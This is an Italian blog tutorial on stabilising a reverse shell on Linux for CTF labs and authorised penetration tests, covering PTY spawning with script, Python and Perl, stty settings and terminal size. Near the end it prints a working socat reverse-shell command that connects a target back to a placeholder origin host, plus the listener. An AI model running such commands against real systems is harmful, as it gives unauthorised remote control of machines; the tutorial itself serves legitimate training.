Marvin Pascale

[B.Log]

20 Luglio 2026

Reverse Shell

GNU/Linux Reverse Shell

C’è un momento che accomuna praticamente chiunque inizi a giocare con le reverse shell.

Qualche giorno fa stavo osservando un giovane collega alle prese con una macchina di laboratorio. Dopo qualche minuto di tentativi riesce finalmente ad ottenere la tanto desiderata shell. Esultanza. Cinque secondi di gloria.

Poi preme la freccia su.

Sullo schermo compare un elegante ^[[A.

Prova Ctrl+C. La connessione cade.

Riprova. Ctrl+L. Lo schermo gli risponde con un altrettanto elegante ^L.

A quel punto è iniziata una sequenza di imprecazioni creative rivolte a divinità che, ne sono abbastanza sicuro, non compaiono in nessun pantheon conosciuto dall’umanità.

Gli ho lasciato sfogare un paio di minuti. Poi gli ho mostrato quella che, probabilmente, è una delle procedure più utili da imparare quando si mette mano a CTF, Hack The Box o penetration test: la stabilizzazione della reverse shell.

Come per tutti gli articoli che trattano di sicurezza informatica, anche questo ha uno scopo puramente divulgativo. Le tecniche descritte sono pensate per essere utilizzate esclusivamente in laboratori, CTF, ambienti di test o durante attività di penetration test esplicitamente autorizzate. Tentare di accedere, modificare o interagire con sistemi di terzi senza autorizzazione non è solo scorretto dal punto di vista etico, ma costituisce un reato. Se volete sperimentare, fatelo su macchine vostre o su piattaforme nate appositamente per questo scopo.

Perché una reverse shell è così limitata?

Quando otteniamo una reverse shell tramite strumenti come netcat, bash, python o altri payload, nella maggior parte dei casi non viene creato uno pseudo terminale (PTY).

In pratica il processo bash è collegato direttamente allo stream di input e output della connessione TCP, senza tutta quella gestione che normalmente offre il terminale.

Le conseguenze sono immediate:

  • niente editing della riga di comando
  • cronologia non disponibile
  • autocomplete con TAB assente
  • gestione dei segnali incompleta
  • applicazioni full screen inutilizzabili
  • dimensioni del terminale errate

Per operazioni rapide può bastare, ma appena serve lavorare qualche minuto diventa estremamente scomodo.

Il primo passo: creare uno pseudo terminale

La soluzione più semplice consiste nell’utilizzare il comando script.

Se presente sul sistema remoto è probabilmente il metodo più rapido e affidabile.

script /dev/null -c /bin/bash

Il comando crea una nuova shell interattiva utilizzando uno pseudo terminale senza salvare alcun file di log.

In molti casi già questo migliora sensibilmente l’esperienza.

Se invece script non è disponibile si può ricorrere a Python.

python3 -c 'import pty; pty.spawn("/bin/bash")'

Oppure, sui sistemi più datati:

python -c 'import pty; pty.spawn("/bin/bash")'

Questo è probabilmente il comando che ogni penetration tester finisce per imparare a memoria.

Mettere in pausa la connessione

Una volta ottenuto il PTY è necessario sistemare il terminale locale.

Premiamo:

Ctrl+Z

La connessione verrà sospesa riportandoci alla nostra shell locale.

A questo punto eseguiamo:

stty raw -echo
fg

Dopo aver riportato in foreground la connessione, premiamo Invio una o due volte.

Il terminale potrebbe sembrare “bloccato” per qualche secondo: è normale.

Configurare il terminale remoto

Una volta rientrati nella shell remota conviene impostare la variabile TERM.

export TERM=xterm

Questo permette a numerosi programmi di capire quale tipo di terminale stanno utilizzando.

Da questo momento iniziano a funzionare correttamente:

  • clear
  • vim
  • less
  • top
  • htop
  • nano
  • cronologia dei comandi
  • colori ANSI

Sistemare le dimensioni dello schermo

Un dettaglio spesso trascurato riguarda le dimensioni del terminale.

Se non vengono impostate correttamente, applicazioni come vim o tmux potrebbero visualizzare lo schermo in modo errato.

Sul computer locale controlliamo:

stty size

Ad esempio:

38 120

Successivamente, sulla macchina remota:

stty rows 38 cols 120

Da questo momento il terminale remoto utilizzerà la stessa geometria del nostro.

Una sequenza da ricordare

La procedura completa diventa quindi:

script /dev/null -c /bin/bash

Poi:

Ctrl+Z

Sulla macchina locale:

stty raw -echo
fg

Infine, sulla macchina remota:

export TERM=xterm
stty rows <righe> cols <colonne>

Dove righe e colonne corrispondono all’output di:

stty size

Se script non è disponibile

Non tutti i sistemi dispongono dell’utility script.

In questi casi Python rappresenta quasi sempre l’alternativa migliore.

python3 -c 'import pty; pty.spawn("/bin/bash")'

Anche Perl può essere utilizzato, se installato.

perl -e 'exec "/bin/bash";'

Oppure, nei sistemi che dispongono di socat, è possibile ottenere direttamente una shell completamente interattiva, anche se questa soluzione richiede la presenza del binario su entrambe le macchine si può provare con una cosa del genere:

# Sulla macchina di partenza (listener con TTY)
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Sulla macchina bersaglio (reverse shell con PTY)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:[IP_ORIGINE]:4444

Conclusioni

Quando si lavora in laboratori come Hack The Box, TryHackMe o durante attività di penetration test autorizzate, stabilizzare una reverse shell è una di quelle operazioni che fanno davvero la differenza.

Non migliora soltanto il comfort operativo, ma riduce anche il rischio di perdere accidentalmente la connessione o di commettere errori durante attività delicate.

È una procedura semplice, richiede pochi secondi e, una volta imparata, diventa un automatismo. Personalmente è una delle prime cose che eseguo appena ottengo una shell, perché lavorare in un terminale “vero” permette di concentrarsi sull’analisi del sistema invece che combattere continuamente con i limiti della connessione.


Le opinioni in quanto tali sono opinabili e nulla ti vieta di approfondire l’argomento.

Risorse: